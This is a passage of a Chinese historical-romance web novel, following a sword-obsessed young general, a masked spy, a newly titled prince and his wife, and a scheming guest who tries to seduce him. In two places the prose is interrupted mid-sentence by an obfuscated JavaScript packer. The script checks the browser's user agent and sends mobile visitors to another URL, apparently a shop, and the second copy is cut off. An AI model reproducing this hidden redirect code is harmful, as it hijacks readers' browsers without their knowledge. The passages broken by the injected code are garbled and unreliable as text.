万幸，时鸿还未痴狂至此。 雕花大床上，深蓝色的床帏层层垂落，隐约可见内里清爽简单的布置。 只见这位年轻的将军安然躺下，郑重其事地将玄烈剑置于身侧。闭眼几息后，他忽地伸手，一把将长剑紧紧搂入怀中，神情款款地在剑身上猛亲一口。 青霜：“……” 剑身寒光闪过，一下晃了青霜的眼，似乎在发出无声的悲鸣。 这位小将军的剑痴程度，恐怕最优秀的铸剑师看了也要自愧不如。她实在不解，主子派自己来监视这个大傻子，究竟有什么目的？ 总不能是担心他哪天当真往望春楼下聘，带着八抬大轿，求着主子让他把这柄剑明媒正娶带回家吧？ 青霜嘴角难得勾出一丝极淡的笑意。 然而不过片刻，异变陡生。 她眼见时鸿还窝在床榻，抱着玄烈剑来回翻滚，神情一副痴迷模样。深蓝的床帏无风自动，时鸿指尖微动，状似无意在床头某处轻轻一按，只听“咔哒”一声机括声响，床榻下方竟悄无声息滑开一道暗门。 从横梁隐约看去，床下一道粗糙软梯垂下，直通地底。 青霜：……？ 未等她细想，时鸿已如游鱼般利落翻身，紧抱着他的新宠一跃而起，眼角眉梢间尽是掩不住的欢喜，活像个得了新玩具的孩童，灰头土脸便往床下钻去，三两下便顺软梯消失了踪影。 青霜：…… 见过下床的，还真没见过直接往床底下钻的。 这位小将军，莫非在军中是专攻挖地道的？ —— “宁姐姐，您可来了，世子殿下方才还问起您呢。” 宁鸾刚踏入正殿，便见殿中央那张酸梨木圆桌已“英年早逝”。一道狰狞的裂痕从桌边贯穿到中心，深得能插进一根筷子。 程慎之端坐主位，面色阴沉。白挽则恭顺地立在一旁，双手捧着一盏热茶，一副手足无措的模样。 “这是怎么了？”宁鸾径直在程慎之身侧坐下，抬眼对白挽笑道：“妹妹是客，哪有让妹妹端茶的理，快坐下吧，有什么事儿慢慢说。” 随行的青露会意上前，自然地接过茶盏。白挽勉强一笑，不情不愿在下首落了座。 她本想借这盏掺了南部香料的茶，唤起程慎之当初在战场险象环生的记忆，待他心神动荡之际，再出面温言安慰，趁机抚平他伤痛的心。 谁知程慎之大步回府，还未等她奉茶，便已是面色阴沉，一言不发。 不待她开口，他便猛然一掌拍裂了桌案，，震得茶盏叮当作响。而后任她如何柔声软语，程慎之都对她视若无睹，瞬间正殿冷若冰窖。 直到她试探提起：“不知姐姐可在府中？若是姐姐见您这般，定会心疼了。” 程慎之这才似被这句话牵回了心神，摆了摆手示意身后的小厮。 “去请世子妃。” 而此刻，宁鸾坐于正殿之中，慢条斯理地撇着茶中的浮沫。眼神一动间，已将白挽那点心思看了个透彻，只故作不知。 程慎之略一抬眼皮，眸中暗潮汹涌。他沉声问道：“阿鸾当真不好奇，今日朝中发生了何事？” 宁鸾莞尔一笑，葱白似的指节拨弄着杯沿。“慎之若是想说，自然会同我讲。”她倾身向前，定定看着程慎之，“那么，慎之想说吗？” 程慎之自嘲一笑，迎上她的目光：“当然。” 他向后略一示意，身后小厮立即躬身捧上一只紫檀托盘，盘中静卧一卷明黄文书。 “阿鸾，只怕从今往后，你这世子妃是做不成了。” “慎之这是急着要休了我？”宁鸾调笑似的接过文书，展开卷轴的手指却几不可察地一顿。 一时间，殿内落针可闻。 白挽无心关注那卷轴中的内容，满心只盼程慎之能饮下那盏加了香料的茶，领会她的心意。但程慎之目光尽数挂在持卷细读的宁鸾身上，未曾分给茶盏半分。 府中餐食皆有管家查验，自不会出现下毒等事。 “呵……”宁鸾逐字读完，忍不住轻笑出声。 这哪是什么休书，分明是圣上亲笔写下的圣旨。 她将卷轴仔细卷好，唇角扬起一抹玩味的笑意：“还未恭喜世子殿下……如今该改称镇南王殿下了？是吧，慎之。” 反手将圣旨递给小厮，宁鸾双手托腮，眨眼看面前的人，“这么一想，我这世子妃之位也水涨船高，如今竟是亲王妃了。” 程慎之闻言，紧绷的肩膀终于松懈几分。“是啊，那当年的约定，如今是否也重新考量了？” 宁鸾心念一动，不知程慎之葫芦里卖的什么药。当年新婚之约皆以世子之位为基，如今局势大变，朝中情势确实已经不同了。 若他当真有了心上人，有心休妻另娶…… 白挽不明所以，不知两人在打什么哑谜，她怯生生插话道： “世子爷，若按姐姐所说，您立下战功加官进爵，不该是喜事一桩吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576067|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她指尖抠着桌角，满面迷茫，“为何看您的神情，似乎并不十分开怀？” 程慎之听着她开口，顿时只觉烦躁非常。宁鸾见状，挥手屏退殿中下人，端起面前的清茶啜饮一口。 “这道圣旨，问题并不在于晋封。历朝历代，皆有战功显赫者封亲王的先例。”宁鸾解释。 “问题在于这个封号。” “封号？镇南王的名号？”白挽仍是不解。 “是啊。”宁鸾放下茶盏，抬手轻抚鬓角碎发。“白姑娘常年生活在南部，可曾知晓，慎之父亲的封号爵位，正是南部的安南王？” “啊？！”白挽掩唇惊呼，“我从未想过这般联系。” “父亲是安南王，儿子是镇南王，圣上这可真是打了手好算盘。”宁鸾与程慎之对视，嘲讽一笑。 白挽默了一瞬，又眨眼问道：“可只要咱们爷与安南王稍作解释，不也无甚大碍吗？” “不止于此。”宁鸾冷笑，“咱们圣上可圣明着呢，不仅封号父子相敌，就连拨下的封地，亦有大块重合之处。” 宁鸾扭头与程慎之对视，见他并无反驳之色，便接着说：“前朝便有这两个封号，结果两位王爷内斗不休，先帝为避内乱，求得安稳，都只封安南王而不封镇南王。” “如今，咱们圣上旧事重提，怕是又想掀起一波腥风了。” 话止于此，宁鸾眼中的戾气反而烟消云散。她忽然起身凑近程慎之，在他耳旁吐气如兰，“王爷，您说这次又得多少血流，才能让硝烟平息呢？” 程慎之面无表情，在主位坐得端正，但细看之下，发下的耳尖早已染得通红。 …… 将军府。 确认时鸿已离开，青霜从横梁飘然而下。 此刻，青霜再不敢对这位小将军有半分轻视。 能在将军府这般家风严谨之地，暗中布置如此一间“兵器库”，甚至暗中修密道，挖密室，时鸿绝非表面那般简单。 确认四下无人，青霜使出轻功，足尖轻点地面，如夜猫般无声摸到床榻边。指尖抚过柔软的床被，她猛然想起多年前那个大雪纷飞的深夜。 京州城郊四处漏风的破庙里，她与青露蜷缩成一团，满心渴望着能有这样一床带来温暖的棉被。她们饿得几乎发不出声音，只能像小猫一般微弱地哼着。 一位夫人提着夜灯匆匆自庙前走过。那点光亮只闪烁了片刻，便在青霜的视野中渐行渐远。 姐妹俩蜷缩在一起，眼里已尽是绝望，自知恐怕是熬不过这个寒冷的冬夜。 不料，片刻后，那盏明灯竟忽而掉转方向，一步一步，稳稳行至她们身前。 纸袋包裹着泛着水气的热饼，暖意顺着指尖蔓延，模糊了她们的视线，甚至让她们怀疑是否身处梦境。 后来，那位温婉柔和的林夫人问她们，可想学些本事，在这世道为自己挣一线生机？ 青霜毫不犹豫选择了武功。 她并非天生要强，只是深知唯有习武自强，才能护着妹妹在京州立足，不再任人欺凌。 当年破庙的旧事，绝不能再次发生。 只可惜她们姐妹根骨平平，纵使她勤学苦练，悬梁刺股，最有所成的，终究是易容与轻功这两样傍身之技。 倒是在戏班卧底吊嗓子那年，阴差阳错练就了变换声线的绝技，没曾想，这竟成了主子宁鸾化身“林公子”时最关键的掩护。 宁鸾依她的心得反复练习，已将这技巧掌握了七八分。当她的声线在男女之间自如切换时，连最精明的探子也要恍惚一瞬。 而此刻，青霜在床边摸索良久，指腹感受着每一寸细微的凹凸，却始终不得其法。 她撩起深蓝床帏细看，床头雕刻着百兽争鸣的纹样，龙腾虎跃间，异兽姿态各异，热闹非凡。 “爱剑成痴之人……” 青霜喃喃自语，突然想起当初整理望春楼书册时，在《山海经》中看到过一种异兽，其名为“驳”，饲养它的人，可以防止被兵器所伤。① 青霜指甲扣住“驳”凸起的兽角，猛然一按，床下传来机括轻响，那个神秘的通道再次出现。 密道开了！ 8. 横梁初遇 青霜顺着软梯下到底部，暗室比想象中还要更深。 地下空间幽暗狭窄，青石墙壁四角嵌着长明灯台，烛光如豆，在干燥的空气中微微晃动。 整个空间占地不大，青霜粗略扫过一圈，只见正中间一张粗糙石桌，并一个圆筒石凳。桌上摊开的黑色锦盒里，正是那柄自望春楼取来的玄烈剑。 四周墙下整齐排放着兵器架，质感做工明显比顶上偏殿的好上许多。青霜稍作打量，兵器架上陈列的都是名剑，或有独到之处，或是锋利非常，无一不是难得的珍品。 正欲再上前细看，青霜却忽然耳尖一动。 头顶上方隐约传来模糊的说话声，贴墙静听，两道脚步声正由远及近，向着侧殿迈来。 事不宜迟，青霜脚尖一点，身轻如燕，瞬间掠上软梯。她指尖轻点机关，暗道合拢的刹那，她已翻身隐入阴影，贴着长梁屏息凝神。 不过片刻，远处的人声动静颇大，随着脚步的靠近愈发清晰。 “你个败家子，还敢嬉皮笑脸来前厅吃饭！老子今天不打死你，就不姓时！” “爹爹……爹轻点！哎哟痛！耳朵要掉了！！” “大清早你李叔就抱着朝服来找老子，说该上朝了你人没了，他跑了满院都没找到人影！哎哟，那也是一把年纪的人了，造孽啊！” “哎，您听我解释……我这不是养病嘛！” “养病？老子下朝回来路上，就看你抱了把火剑往府里冲，你个败家子！把家败完了还笑嘻了！” “爹我没有……而且你也不是买了好些玉器茶盏！还有桩头树根！比我的剑贵多了！” “你还敢顶嘴！老子今天非要给你点颜色，把这满屋子的剑都给拿去扔了！” “哐当”一声巨响，将军府侧殿的木门被直接一脚踹飞。几十斤重的雕花门板压下来，“嘭”地一下砸倒在侧殿中央。 青霜微微探头看去，只见时小将军被拧着耳朵，一脸生无可恋地瘫坐门槛上。 他身前站着位身着朝服的莽壮男子，此人络腮胡子炸了满脸，吐息中皆是怒气，正是当朝开国大将军时厉东。 关于时厉东，青霜所知不多。 出望春楼前，她曾草草翻阅过将军府的情报。卷宗上写他中年丧妻，自此未再续弦。晚年无力领兵，多次向圣上请辞归田，却皆被驳回。此后便似松了心弦，在京州做个点卯闲官，领俸度日，看似一副乐得清闲的模样。 可眼下这场景，却让青霜对那纸情报的真实性生出重重疑虑。 这哪是闲散度日，乐得清闲？摊上时鸿这么个能折腾的好儿子，只怕老将军是乐极生悲，何来“乐得自在”！ 青霜抿了抿唇。 时鸿偷偷瞄了一眼他爹的脸色，小声辩解道：“爹……早上这上朝，又不是我不想去，我这不是回来养病嘛，做戏得做全套！” 见时厉东脸色更黑，他小心赔笑道：“你说是吧爹。” “你还知道我是你爹！” 时厉东松了耳朵，反手一巴掌，狠狠拍在时鸿头顶。 “老子让你学四书五经，念诗词歌赋，你倒好，学是学了念是念了，扭头就去铁匠铺，把新学的句子刻剑上了！老子送你读私塾，是让你去给新剑题词的吗？！” “还有。”时厉东气不打一处来，指着时鸿骂骂咧咧，“你这身板子，从生下来就没个大病大灾的，别人挨一刀，能躺十天半月，你挨一刀，第三天都爬上树掏鸟蛋了！你给老子说养病？” “你糊弄鬼呢！？” 时厉东越说越来气，在殿内拉了个太师椅坐下，顺手在桌上翻出个杯子，给自己倒上杯茶顺顺气。 时鸿：…… 青霜：…… 好一个爱剑成痴的二傻子。 —— “好了，传膳吧。” 宁鸾捂嘴打了个呵欠，也不知青霜那边如何了。 一旁的白挽犹豫片刻，轻声问道：“姐姐，世子爷如今封了镇南王，我们是不是也要随去南部封地？” “不必。”没等宁鸾开口，程慎之揉了揉耳朵，难得主动解释道：“今日早朝，皇上已特许我们不必前往封地，还命工部修缮府邸，更换门匾即可。” “原来如此。”白挽刚松了口气，正要再言，却听门外一阵急促脚步声。门房派小厮来报，宫里来了贵人，还得主子们速速迎接！ “王公公。” 程慎之立即携宁鸾等人迎至外院，只见皇上身边的大太监王福临领着一队小太监鱼贯而入，神色肃穆。 那王公公面无表情，抬眼瞥一眼程慎之，只道：“请您接旨罢。” 圣旨内容与早朝所闻大致相同，只略添了些细节。程慎之领众人叩首谢恩。 方才还一脸肃然的王公公此时忽然笑容满面，躬身贺道：“王爷大喜！奴才在此恭贺王爷！” 他又从怀中取出一份礼单，翘指扬声道： “皇上赐镇南王府，黄金百两，宫妆锦缎百匹，南海明珠一斛，另赐御笔亲题匾额“镇南王府”一块，特示嘉奖！镇南王需谨记圣恩——钦此！” 那小太监依次排开，将赏赐一一捧到众人面前。 一时间，前院金玉之光耀目，一旁府内的侍从们纷纷低头，不敢再看。 “臣必当铭记圣恩。”程慎之回应。 那王公公又笑道：“还有一事，后日皇上为贺南部边关大捷，特宴请各亲眷朝臣进宫赴宴，还请王爷王妃届时参加。” “有劳公公。” 宁鸾上前半步，递给王公公一把金裸子。“公公辛苦，还请到前厅坐一坐，喝杯茶歇歇吧。” 王公公嬉笑接了赏，却摇头辞谢道，“多谢王妃美意，老奴还要去别处传旨，就此告辞。” 送走王公公，众人齐齐回到正殿。桌上早先的饭菜早已凉透，管家王叔正吩咐厨房重做。 宁鸾并未歇息，安排人将赏赐一一清点，分类存放入库。她多年来执掌府中账目，凡事亲力亲为，从未出过差错。 但圣上如此厚重的封赏，便是宁鸾见惯御赐之物，也不由暗自心惊。 只怕是来者不善。 …… 将军府。 时厉东在太师椅上枯坐良久，连灌下两大杯茶水，才勉强顺过气来。 他压一压火气，尽可能平静地看向时鸿：“你老实交代，那把火红色的剑，是哪里来的？”他一吹胡子，“可别告诉老子是路上捡的！” 时鸿哪敢不招啊，他眼珠一转，却是半真半假道：“是……是托一位朋友寻来的，出征前就惦记上了，这不是回来第一时间去取了嘛！” 时厉东看看满屋子寒光凛凛的宝剑，只觉额头青筋突突直跳。他头疼地扶住脑袋，重重“哼”了一声。 时鸿一见有戏，脸上立刻扬起讨好的嬉笑。他麻利地在门槛上换了个更乖巧的坐姿，睁圆了眼睛，可怜巴巴地望向自家老爹。 时厉东最后那点火气，见了这神色顿时也发不出来了。他咬着牙憋了半晌，终究只挤出一句：< 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时鸿喝了一口茶，坦然摊手道：“别紧张，你藏得真的很巧妙，若不是我爹把我踹倒在地，我恰好从墙上剑身的反光里，瞥见梁上有一道极淡的人影，否则定然发现不了你。” 时鸿语气诚恳，又翻出个杯子倒了杯茶，推至桌案对面。 “我这人没别的本事，但能感觉到你对我并无恶意。若有什么事，不妨下来说话。” 青霜默然。她千算万算，没想到竟是在剑影上翻了船。 沉默片刻，青霜从梁上飘然而下，声音刻意压得低沉难辨：“阁下好眼力。” 时鸿见对方一身黑衣，黑铁面具遮得严严实实，不露半分真容，心态反而更稳。他略一思索，竟又将方才那杯茶再往前推了推。 “你要尝尝么，大前年的碧螺春，就剩这一壶了。” ……什么陈年老茶。 青霜站在屋中阴影处，双手抱臂，毫无接过的意思。 时鸿也不尴尬，乐呵呵将茶一饮而尽，他眼珠子一转，忽然起身笑嘻嘻地凑近些： “这位……侠客，咱们打个商量如何？”他眨眨眼，神情恳切，“如你所闻，我今天没饭吃也出不去，只能靠这陈茶充饥。你若方便，能否劳驾帮我顺一只烧鸡过来？” 他手舞足蹈比划着，从怀中掏出些碎银来，“南边坊市口第一家最好吃！我出钱！买两只！你一只我一只，如何？” 青霜：“……” 她完全跟不上这人的思路。 这人的脑子是不是被剑砸过？ 青霜无奈，没再理会他，身形一闪便从门板缝隙中掠出，几个起落跃上屋顶，悄然离去。 剩下房里的时鸿喃喃自语，“原来真没恶意啊……” 不过多时，饿得发昏的时鸿正盘坐太师椅上，尝试修行传说中的辟谷大法。忽闻房顶瓦片轻响，他抬眼看去，却见一个纸包不偏不倚地砸落下来。 “你真的带鸡回来了！？”时鸿又惊又喜，迫不及待拆开纸包，深深一闻，疑惑开口道： “这香味……不是南边坊市口那家的吧？” 青霜坐在房顶瓦片上，借着旁边葱郁的树丛掩盖身形。她也撕开一个纸包，捡了两块嫩肉，掀起面具一角细细品尝。 “你说的那家，在鸡下锅前，霉样的绿毛都长三尺高了。” 时鸿：“……啊？” 9. 深夜烛光 夜色深沉，草丛中偶尔传来蟋蟀的低鸣声。 程慎之独自坐书房之中，案头烛火摇曳，在桌面上投下一圈昏黄的光晕。他提笔凝神，墨汁几乎要在狼毫笔尖干涸，面前的宣纸却依旧一片素白。 良久，程慎之长叹一声，一句句话语盘旋在脑中，却始终难以拼凑出一封像样的家书。连日来的纷乱思绪如潮水翻涌，他搁下笔，不自觉地抚上胸前的旧伤。 “砰砰砰。”三声轻扣突兀打破寂静。 程慎之以拇指按压太阳穴，头也不抬道：“进。” 白挽手执一盏明灯，款步而入。 “奴家拜见王爷。”她盈盈下拜，声音像是掺了蜜糖般，甜腻而娇软。 “见王爷晚膳用得不多，奴家斗胆揣测，是盛夏暑热的缘故，便借后厨做了一盏枸杞雪梨银耳羹，还请王爷用些，也好清热安神。” 程慎之揉额的手微微一顿。他本以为来的是管家王叔，却没料到是白挽。 抬眼看去，烛光下女子青丝高挽，一席樱桃红色的丝绸长裙长至脚踝，修身剪裁勾勒出曼妙身姿。深红的并蒂莲纹抹胸若隐若现，漏出的衣角引人浮想联翩。下身裙摆层层叠叠，如浪花般撒开，在青石地砖上绽开一片明艳。 白日里那保守的丝绢外衫，也换做与长裙同色的薄纱宽袖短衫，显出若隐若现的肩颈曲线来。 烛芯忽然“噼啪”一声，爆出一朵灯花。 她带着异域风情的面容此刻精心点缀，愈发显得明艳动人，宛如夜色中盛放的玫瑰，教人忍不住想捧入掌心肆意爱怜。 “多谢，放在那里吧便早些去休息吧。你于我有恩，不必如此客气。”程慎之神色冷淡，淡淡颔首，随手取过案头书卷翻看。 白挽见他如此不解风情，心中暗恼。她费尽心思打扮一番，最后竟还没有桌案上的典籍有吸引力。 但凡不是她见过的男儿中，只有程慎之触动到她的心，她又何必委屈至此！ 白挽恨恨一咬牙，看着程慎之如磨如凿的面容，却不经想起他们初见的场景。 那时她正在林间山坡采药，扶树休息时，恰见程慎之策马急奔于山间窄道。 这俊俏男子单枪匹马，在道间一骑绝尘。后面异族追兵紧随不舍，眼看就要把他夹击包围。他却蓦地一转马首，毫不犹豫冲入密林，左避右闪，竟硬生生甩开追兵，一身侠气凛然如神。 白挽自小在边境村落中长大，又在南部县城借住几年，见过不少英武男儿，其中亦不乏权贵之人，却从未有一人如眼前人这般俊美神勇。 那一瞬她不禁心想，若得嫁此等郎君，便也算是此生无憾了。 眼见着男子的战马冲进树林，那队异族追兵猛然搭起弓箭。一阵箭雨仓皇落下，多番躲避之下，那俊美男子的战马还是被乱剑射中前腿，眼看着已是穷途末路之时。 白挽心中一紧，却见那男子一时不察，在躲避时更被射中左臂，一路在林道中流血不止。 白挽握紧草药，心中难掩惋惜：这男子虽气度凛然，但在如此猛烈追击下，只怕是命不久矣，今日也算是在劫难逃了。 她正思量着，如何在他身故后上前收敛财物，也算全了一场缘分，不料几息之间，竟是峰回路转！ 程慎之竟借马匹惊狂之势，一举甩脱身后追兵。虽坠马撞树昏死过去，却尚存一息。 战马吃痛受惊，疾跑进了树林深处，再没了踪影。 白挽眼见那人跌落的树丛不远，轻脚摸上前去一探，这人竟还有呼吸。望着这张脸，她心底第一次涌起真实的佩服，这人，当真有几分硬气。 她深知人的性命有多么的脆弱，而这男子浑身是伤，左肩血流未止，竟还能活下来。 莫非，这真是上天赐予她的机缘？ 白挽丢开药篓，试图搬动这如天神般降临的男子。可程慎之即便重伤昏迷，终究是历经沙场的成年武将，岂是她一个女子能轻易挪动的？ 万般无奈之下，她只得将现场稍作遮掩，一步三回头地赶回家中求助白父。 闻讯前来的白父一眼便看出此人非富即贵。程慎之周身用度皆非凡品，腰间那条雕纹羊脂白玉带，更非寻常人家可有。白父几度心生贪念，却皆被白挽坚决拦下。 只因那惊鸿一瞥，她已倾心于他。 父女二人连夜商议，在程慎之苏醒前便编好一套说辞。于是，当程慎之睁开双眼，第一眼见到的便是伪装成猎户的白父，白挽也顺理成章地进入他的视线，随他入营，被奉为上宾。 而直至入营，白挽这才知晓，自己一眼相中的男子，竟是威震边关的安南王世子程慎之！ 同时她也才骤然意识到，程慎之所征讨的，正是她出身的异族部落。 只稍作犹豫，白挽便下定决心——他们父女早已被部族抛弃，异族战士的生死，于她何干？ 在那不久，京州传来边关大捷的喜讯。 安南王世子程慎之率军大破异族，圣心大悦。期间，白挽虽因异族面容在营中屡遭质疑，但将士们得知她父女救下世子，又见她对本族战士的命运漠不关心，便也渐渐接纳了她的存在。 闲谈之间，军中难□□传起关于这位唯一女子的风言风语。程慎之虽多次当众澄清，私下的议论却未曾停歇过。 他对白挽父女心存感激，因此即便白挽偶尔提出些许要求，只要不逾矩，他都愿尽力满足。然而这份出于道义的回报，却让白挽在错觉中越陷越深。 在她看来，程慎之地位尊崇，待外人皆冷淡疏离，唯独对自己有求必应、温柔有加，这难道还不足以证明她的与众不同吗？ 沉浸在这份“特殊”中的白挽，再也看不见其他，仿佛那飞上枝头变凤凰的美梦，已是触手可及！ 军队拔营当日，白挽恃宠生娇，决意再次试探。她向程慎之婉言道，父亲年迈不愿远行，愿得些金银在此颐养天年。而自己身为清白女子，若独自与将士同行，恐惹非议，坏了名节。 她眸光流转，提议道：曾闻有一种纱质小轿可架于马后，以轻纱遮盖，既避人耳目，又不失体统，以此方式随行进京，最为相宜。 程慎之原本已备好舒适马车供她使用，但见白挽一再坚持，又不愿在这些小事上委屈她，便应了她的请求。他让大军先行出发，自己与白挽推迟半日，请当地相熟的工匠特制了那顶纱轿。 至此，得了小轿的白挽更是得意，自以为已牢牢牵住了程慎之的心。只消这一路上再稍下功夫，待回到京州，踏入王府岂非易如反掌？ 甚至，说不定世子妃之位…… 怀揣着这般心思，她言行举止越发张扬，仿佛荣华富贵已近在眼前。 一路上流言纷起，程慎之却一心返京，未加理睬。这无声的沉默让白挽更觉胜券在握。也正是在众人的议论声中，她第一次听到了世子妃宁鸾的名字。 外间皆传世子与王妃青梅竹马，情谊深重，是天造地设的一对。她故作无意，在程慎之面前提起宁鸾，不料他竟罕见地动了气。 “休要再提。”说罢竟是拂袖而去。 白挽心中得意更甚，只觉那宁鸾不过是仗着门第赐婚，运气好些的高门贵女罢了。她暗自打探，得知程慎之竟未纳一妾，更是心驰神往。 若是因皇命亲赐，不能轻易休妻，留着那世子妃也无妨。自己即便身为侧妃，也是极好的。那宁鸾既无子嗣傍身，又无世子宠爱，待她白挽进府，届时，世子妃也不过是个空占名号的摆设罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“奴家借住在此，也帮不上什么忙，只得做些小巧功夫，若能替王爷解乏一二，便是这汤羹的荣幸了。” “劳白姑娘费心了。” 程慎之此刻并未觉察白挽心中的弯绕，只是被打断了思绪，略显烦闷。他抬头看到汤羹，面色稍缓，也不忍拂了白挽好意，伸手去端。 白挽巧笑嫣然，看准时机同时伸出双手。青葱手指托起汤盅边缘，恰好碰到程慎之带茧的指尖。 “奴家冒昧！还请王爷赎罪。”白挽娇呼一声，故作惶恐地俯身下拜。 弯腰间，绯红裙摆摇曳晃动，一抹雪色肌肤自领口若隐若现，恰好落入程慎之眼底。 “王爷，奴家久居山林，不识京中风物人情，全赖王爷顾念旧恩，才有幸侍奉左右。” 白挽声音酥软，眼中泪光盈盈，不等程慎之回应，她仰起脸来，露出一段欣长的脖颈，像是哀鸣婉转的天鹅。 “奴家父亲让王爷带奴家进京，也不过是盼着奴家能在京城寻得一处安身立命之所。王爷让奴家得以长居府中，所能做的，也不过是在饮食起居间略尽绵薄之力。” “还请王爷怜惜奴家的一片心意吧。”白挽尾音打着颤，像是钩子裹着蜜糖，一寸寸撩人心弦。 程慎之脸色愈发冷峻，双眼像是被寒冰浸透，无声无息间便盯住了白挽的眼。 白挽心头微颤，却仍不肯退却。那时边境初遇，他不也曾这般冷若冰霜？ 她暗自宽慰自己，腰身却放得更软，愈显得柔弱无依、楚楚动人。 程慎之垂眸凝视着她，指节轻击桌案，始终未发一言。 10. 寒髓珍玉 烛影摇红，映照书房一片暖色。 白挽抬手轻抹眼尾，入手一片湿润。 “王爷……”她声音楚楚可怜，却仍忍不住抬眼望向她心中的战神。 “白姑娘。”程慎之忽然起身，身上绣线密织的鹤影在烛光中暗自流光，“你们父女的救命之恩，本王一直铭记于心。” 他缓步走到白挽面前，声音平静却不容置疑，“你且在府中安心住下，一切衣食起居自有人打理，不必再多费心了。” 他垂眸看向眼中含泪的白挽，目光掠过她发间那支振翅欲飞的鎏金蝴蝶簪，眉目不自觉地柔和了几分。 “至于你父亲所托婚配之事，本王也会请王妃代为留意，选出品貌皆佳的世家公子，供你挑选相看。” “可是王爷，奴家别无他求，只愿……”白挽声音更软，想借着深夜向面前之人倾诉衷肠。 “夜已深了。”程慎之截断她的话，“白姑娘早些回去歇息吧。” 窗外凉风吹过，烛火跳动，将白挽的影子在地面上颤得扭曲。 白挽轻咬银牙，犹豫一瞬，终是缓缓起身。裙裾落在青石地砖上，拖出一个不舍的弧度。她略一福身：“今日之事，是奴家僭越了，还请王爷……早些休息。” 说罢，白挽披着一身夜色离去，那只金蝶也随之飞远。 不过片刻，早已候在廊外的王叔悄然而入，主仆二人低语良久。 …… 程慎之回到卧房时，宁鸾已然熟睡。 卧房内并未点灯，空气中弥漫着一种青松般清新的甜香。程慎之立于床前，身影被月光拉得修长。 借着微弱的光，他看到那条红绸依然如楚河汉界，牢牢横跨在床铺中间，不声不响将两人隔开分明的界线。 程慎之静静凝视着宁鸾熟睡的侧脸，纤长的睫毛在她脸上投下细碎阴影，一头青丝散漫开来，挡住白皙精致的脸庞。 宁鸾将自己严严实实地裹在被中，怀里紧拥着半只软枕，呼吸轻缓得几不可闻。 程慎之眸光眸光微暗，他知道，她一向如此。越是无人可依，越是将自己抱得更紧。 程慎之在床前伫立良久，内心天人交战。终是难以按捺那份汹涌的冲动，俯身伸出修长的手指，想要触碰那张近在咫尺的容颜。 然而，指尖终究停在那道红绸前，不敢再逾越一步。 寂静的夜晚，传来一声微不可闻的叹息。 程慎之收回颤抖的手，手背却不经意碰到枕上一件冰凉的物事。他俯身借月光细看，那是一块白色镂雕的玉佩，触手生凉，质地非凡。 稍加犹豫，程慎之拿着玉佩起身出门，就着廊下灯笼的暖光细细端详。 玉佩圆润莹白，雕着大鹏金翅鸟的图案，翅尖坠北斗七星图，身下云纹缭绕，取的是“鹏程万里”的好意头。 他曾在古籍中见过，此玉名为寒髓珍玉，取自昆仑雪山冰魄结晶。这玉料通体莹白，隐现冰晶纹理，人手触其上如握冰霜。长期佩戴，有静心凝神、消暑清热之效。 因其极难开采，稍有不慎便会玉毁人亡，所以寒髓珍玉世间罕见，千金难寻，非王公贵族不可得。 程慎之可以断定，就算在堆金砌玉的皇宫里，也难寻这般品相极佳的寒髓珍玉。 如此珍贵之物，就这么轻描淡写放在他的枕上。 程慎之眸色微深，不敢再深想。回房后，他将玉佩仔细收入枕下，和衣而卧。 一夜好眠。 …… 第二日清晨。 白挽早早起床，换上一身素雅的藕荷色襦裙，外罩浅色高领广袖衫，唯有衣领角落处绣了几朵紫色丁香，显得格外端庄规矩。 她将发丝打理得一丝不苟，发中只插了一支素色玉簪，腕间戴着素银绞丝镯，与昨日艳丽装扮判若两人。 算准程慎之晨练归来的时间，白挽走到回廊拐角处静静等待。 “王爷。”见那挺拔身影走近，白挽端庄福身，脸上挂起甜美笑容，“奴家昨日多有冒犯，正想去和王爷王妃请罪，不想在此巧遇王爷，实在惭愧。” 程慎之脚步微顿，一身劲装还带着蒸腾的热气。他略一点头，“无妨。”说罢便要提步离去。 “王爷！”白挽急忙唤住他，声音越发婉转动听，“奴家来京州多日，还未曾领略京中风物，心中好奇。今日可否容奴家去坊市一观？” “自然可以。”程慎之稍加思索，“不过京州不比边关，坊市鱼龙混杂，我派两名亲兵随你同行。” 白挽低眉顺眼的应了，藏在袖中的手指却微微收紧，指甲在掌心留下几道月牙状的红痕。 她望着程慎之远去的背影，暗自紧咬银牙。 慢慢来，还有时间，她在心中默念。只是，若程慎之一直这般客气疏离，那她所求的一切，只会越来越远。 …… 用过早膳，白挽便带着人出府了。随行的不仅有程慎之安排的两名亲兵，还有平日伺候她起居的丫鬟阿兰。 京州中心坊市热闹非凡，绸缎庄内夫人们挑选着流光溢彩的锦缎，香料铺奇香四溢，远远便能闻到。 白挽突然停住脚步，一座碧瓦朱檐的高楼在坊市中格外出挑。 周边商铺不过三层，而这楼却足有七层，雕梁画栋，层楼叠榭，气势非凡。抬头望去，鎏金门匾上正是“望春楼”三个大字。 未等白挽细细打量，前方摊位上突然传来一阵喧哗声。白挽向前看去。 只见几个商人黑纱蒙面，长袍裹身，正用蹩脚的官话叫卖着奇异商品，被好奇的人群团团围住。 白挽看清他们的打扮和货物，下意识向前几步，看清后瞬间瞳孔骤缩。 摊位上摆放的物品，旁人或许不识，可她却一眼认出，这些都是异族祭祀时，特有的拜神之物！ “怎么会……”白挽浑身一颤，恍惚间仿佛又见故乡村庄燃起熊熊大火。 神情恍惚下，她拿起摊位上镶嵌海蓝宝珠的黑底手鼓打量，鼓面上仿佛映出了村民们几近癫狂的模样。 “此物名为海蓝秘音鼓。”一道柔和的女声传来，说的却是标准的京州话。 白挽抬眸看去，见说话的正是被商人们护在中心的那名矮小商人。 